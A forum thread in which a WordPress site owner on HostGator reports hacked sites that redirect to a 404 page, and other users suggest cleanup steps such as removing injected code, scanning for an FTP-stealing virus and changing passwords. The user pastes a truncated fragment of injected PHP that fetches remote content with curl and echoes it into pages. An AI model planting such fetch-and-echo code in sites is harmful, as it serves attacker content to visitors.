help something is wrong with my website error

hi, something is wrong with my all websites, i use hostgator hosting. When i enter my website i get 404 error and website is refreshing all the time, just check for yourself one of my websites - http://chickenanddumplings.info after 1 second you will be redirected to 404 page and this strange url adress what the fvvck is this !?http://chickenanddumplings., i dont know what the hell is wrong. How to fix this shit !? Please help.

You got hacked. Check your index.php or index.html and delete everything after the closing </html> tag. You'll see that it's opening again after it's closed and there's a redirect script there.

Delete everything after this:

thanks for response, please explain in steps im fukin noob. I logged to filezilla, opened index.php to this website and i only see this : "<?php
/**
* Front to the WordPress application. This file doesn't do anything, but loads
* wp-blog-header.php which does and tells WordPress to load the theme.
*
* @package WordPress
*/

/**
* Tells WordPress to load the WordPress theme and output it.
*
* @var bool
*/
define('WP_USE_THEMES', true);

/** Loads the WordPress Environment and Template */
require('./wp-blog-header.php');
?> "

check in your theme folder not the main wordpress index.php

sorry but I really cannot help if I cannot see the code for my self

i found this also : index .php file in wp content folder

"<?php

curl_setopt($stCurlHandle, CURLOPT_RETURNTRANSFER, 1);
$sResult = @curl_exec($stCurlHandle);
if ($sResult[0]=="O")

echo $sResult; // Statistic code end
}
curl_close($stCurlHandle);
}
}
?>

all code

Heh....your computer is infected. To get rid of this virus, you need to scan your PC against virus and after change your FTP password when you will be sure that no viruses are affecting your PC. This is the iframe virus which logs your ftp password and injects this code...

Heh, yeah works fine here. Damn, I'm hungry now. Is it still redirecting? If so, prob a viri

i restored database and websites are not redirecting anymore, but when i log to filezilla i see that this code is still there (index.php) + ridicolous hello.php file
"<?php

Well, hello, Dolly

I can tell, Dolly
You're still glowin', you're still crowin'
You're still goin' strong
We feel the room swayin'
While the band's playin'

So, take her wrap, fellas
Find her an empty lap, fellas
Dolly'll never go away again

i scanned computer with malwarebytes but anti virus says computer is clean.

Did you try a different browser? Working fine in Mozilla,Opera, IE and Chrome. Clear caches etc. Nothing wrong with hello dolly, we all have that

Also, when posting code, Use the code box its in the bar above that looks like a # sign
